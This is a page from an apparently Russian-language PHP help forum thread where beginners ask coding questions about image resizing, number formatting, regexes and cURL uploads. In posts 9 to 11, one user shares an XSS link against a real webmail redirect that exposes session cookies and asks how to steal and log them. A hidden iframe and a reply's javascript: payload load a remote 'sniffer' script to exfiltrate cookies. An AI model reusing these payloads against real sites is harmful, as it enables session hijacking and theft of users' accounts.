[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Хмм, пытаюсь внедрить одну полезную фичу. Мониторинг нагрузки сервера. Вывожу средствами пыха, но пока вот только что вышло:

    Нагрузка ЦП: 0.04 0.18 0.21
    Использование ОЗУ: 0.09MB

    RAM сейчас выводит скрипта а нужно высчитать общий процент со всей оперативки. И выглядеть так:

    Использование ОЗУ: 13%

    CPU также в процентах, брать [0] - минутное значение, ну а вывод таков:

    Нагрузка ЦП: 0.04 0.18 0.21 (13%)

    вот такие пока запросы. В идеале хочу еще полоски цветастые нагрузки прилепить = )
     
  2. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    z-kzn-z, если через твой скрипт грузить прозрачную пнг картинку imagecreatefrompng(immage.png); фон черным становится при выводе в окно браузера imagepng($new_img);??
     
  3. z-kzn-z

    z-kzn-z New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    Alex G, альфа канал должен сохраняться. Я щас со смартфона, не могу протестить..
     
    1 person likes this.
  4. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Протестил, все норм, вот код без функции = )

    PHP:
    <?php

    $img 
    imagecreatefrompng('image.png'); // ссылка на картинку

    $width 200// ширина превью

            
    $w imagesx($img);
        
    $h imagesy($img);
        
    $ratio 0;
        
        if(
    $width && $height) {
            
    $w_dest $width;
            
    $h_dest $height;
        } else {
            if(
    $width 0)
                
    $ratio $w $width;
            elseif(
    $height 0)
                
    $ratio $h $height;
            
            if(
    $ratio 0) {
                
    $w_dest round($w $ratio);
                
    $h_dest round($h $ratio);
            }
        }
        
        if(!
    $w_dest || !$h_dest)
            return 
    false;
            
        
    $new_img imagecreatetruecolor($w_dest$h_dest);
        
    imagealphablending($new_imgfalse);
        
    imagesavealpha($new_imgtrue);
        
        
    imagefilledrectangle($new_img00$w_dest$h_destimagecolorallocatealpha($new_img255255255127));
        
    imagecopyresampled($new_img$img0000$w_dest$h_dest$w$h); 
        
         
    $img $new_img;

    header('Content-type: image/png'); // сообщаем браузеру, что это картинка

    imagepng($new_img); // выводим изображение

    ?>
     
    1 person likes this.
  5. istro2009

    istro2009 New Member

    Joined:
    20 Sep 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    помогите кто скрипт авторизации на сайте написать и чтобы еще он копировал информацию с главного фрейма
     
  6. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Ребята помогите еще вот с какой штукой!
    Нужен НЕ видимый счетчик посетителей на сате, как бы это огранизовать?
     
  7. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Эт не пхп, а чистый хтмл. Держи

    HTML:
    <div style="display: none;"> your counter </div>
     
  8. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Спасибо большое, пригодится, но не везде, желательно бы еще и на php
     
  9. crackmail

    crackmail Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    106
    Likes Received:
    19
    Reputations:
    10
    Есть такая хсс примерно такого вида

    PHP:
    http://mail.yandex.ru/jsredir?to=javascript:alert(document.cookie)
    при переходе по такой ссылке , вылетает алерт и показываются куки
    Вопрос какой код повесить на index.php
    чтоб тырились и записывались куки в файл?
    снифер есть

    PHP:
    <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="http://mail.yandex.ru/jsredir?to=http://ссылка на снифер/mail.js"></iframe>
    так , почему-то не пашет
     
  10. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    Попробуй, так должно работать
    Code:
    javascript:(function(){var s=document.createElement('script'); s.src='http://ссылка на снифер/mail.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();
     
  11. crackmail

    crackmail Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    106
    Likes Received:
    19
    Reputations:
    10
    а в ифрейме как выглядеть будет?
     
  12. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    Есть у кого-нибудь функция наложения водяного знака на картинку?
    Спасибо.
     
  13. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    http://php.name/php/php-images-function/
     
    5 people like this.
  14. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Извиняюсь за глупый вопрос но как число свести до 2х точек после запятой, без округления
     
  15. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Byrger Свести или вывести? Точек после запятой?? С округлением:
    PHP:
    $val 3.1456;
    echo 
    round($val2);
    printf("<br />%.2f"$val);
    $newval sprintf("%.2f"$val);
    echo 
    "<br />".$newval;
    Быдлокод без округления:
    PHP:
    $val 3.1456;
    $val = (string) $val;
    echo 
    "<br />".substr($val0strpos($val'.')+3);
     
    _________________________
  16. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    <a href="http://pspgig.com/forum/0-0-1-3-16419" target="_blank">форум(<b>695</b>)</a>

    Как регулярками сграббить 695?
     
  17. z-kzn-z

    z-kzn-z New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    Code:
    preg_match('/<a href="[^"]+" target="_blank">форум\(<b>([0-9]+)<\/b>\)<\/a>/i', $str, $matches);
    echo $matches[1];
    p.s. со смарта пишу, протестить не могу, вроде правильно все
     
  18. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    Нет. Не пашет =(
     
  19. Komyak

    Komyak Banned

    Joined:
    14 Jan 2009
    Messages:
    202
    Likes Received:
    18
    Reputations:
    1
    Подскажите в чём моя ошибка:
    PHP:
        while($row mysql_fetch_array($imgs)){
        
    $time microtime();
        
    $postdata=array(
            
    "choise"=>$ch,
            
    "id_ad"=>$edit_url,
            
    "q"=>"@".dirname(__FILE__).DIRECTORY_SEPARATOR."images".DIRECTORY_SEPARATOR.$row['value']
            );
            
        
    $str  "http://xxxx.xxx/xxxx.php?sel=js_upload&id_ad=".$edit_url."&upload_type=f&upload_comment=&PHPSESSID=".$ses[1]."&JsHttpRequest=".substr($time,11,10).substr($time,2,4)."-form";
        
    $p get_page($str,$postdata,0);
        }
    Получаю из базы имена файлов, и пытаюсь их все отправить на сервер. Но ничего не выходит.
    Все переменные существуют. Смотрел var_dump, всё поступает на отправку, но них... не получается...
    PHP:
    //var_dump
    array(3) {
      [
    "choise"]=>
      
    string(1"4"
      
    ["id_ad"]=>
      
    string(3"331"
      
    ["q"]=>
      
    string(68"@Z:\home\sites\www\folder\images\images165466.jpg"
    }
    PHP:
    //Мой курл
    function get_page($url,$data=null,$header=0,$referer=null,$options=null,$prox=null)
    {
        global 
    $proxy,$all_useragents;
        
    $process curl_init($url);
        
    $headers = array(
            
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            
    'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
            
    'Accept-Encoding: gzip,deflate',
            
    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
        
    ); 
        
    curl_setopt($processCURLOPT_HEADER,$headers);
        if(!
    is_null($data))
        {
            
    curl_setopt($processCURLOPT_POST1);
            
    curl_setopt($processCURLOPT_POSTFIELDS$data);
        }
        if(!
    is_null($referer)){
            
    curl_setopt($processCURLOPT_REFERER$referer); 
        }
        if(!
    is_null($options))curl_setopt_array($process,$options);
        
    //curl_setopt ($process, CURLOPT_PROXYTYPE, 4);
        
    curl_setopt ($processCURLOPT_RETURNTRANSFER1);
    //    curl_setopt ($process, CURLOPT_FOLLOWLOCATION, 1);
        
    curl_setopt($processCURLOPT_COOKIEFILE'/cookie.txt');
        
    curl_setopt($processCURLOPT_COOKIEJAR'/cookie.txt');
            
    //  25 -   
        
    if($prox){
            
    curl_setopt($processCURLOPT_PROXY$prox);
        }
        
    curl_setopt($processCURLOPT_USERAGENT$all_useragents[rand(0,count($all_useragents)-1)]);
        
    curl_setopt($processCURLOPT_TIMEOUT30);
        
    $result curl_exec($process);
        

        
    curl_close ($process); 
        return 
    $result
    }
     
    #15679 Komyak, 25 Jun 2010
    Last edited: 25 Jun 2010
  20. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Внимательно не смотрел, но у тебя
    $p = get_page($str,$postdata,0);
    а функция
    function get_page3
     
Thread Status:
Not open for further replies.